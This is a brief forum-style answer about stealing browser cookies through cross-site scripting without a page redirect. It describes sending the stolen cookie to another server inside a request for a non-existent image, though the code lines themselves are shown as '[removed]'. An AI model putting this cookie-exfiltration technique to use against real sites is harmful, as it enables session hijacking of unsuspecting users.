Can I use the XSS Steal Cookie option without it redirecting me to another page?

To use the XSS steal cookie option without getting redirected to another page, you have to get the full control of the JavaScript getting written to the page, then you could just do

[removed]('cookie: ' + [removed])
If you want it sent to another server, you could include it in a non-existent image:
[removed]('')
The key here being whether you can output arbitrary JavaScript or whether you're limited in the kind of JavaScript you can get executed. Though if you're limited in what can be output you could use more advanced methods of getting your custom code to execute which are a bit out of scope of the question.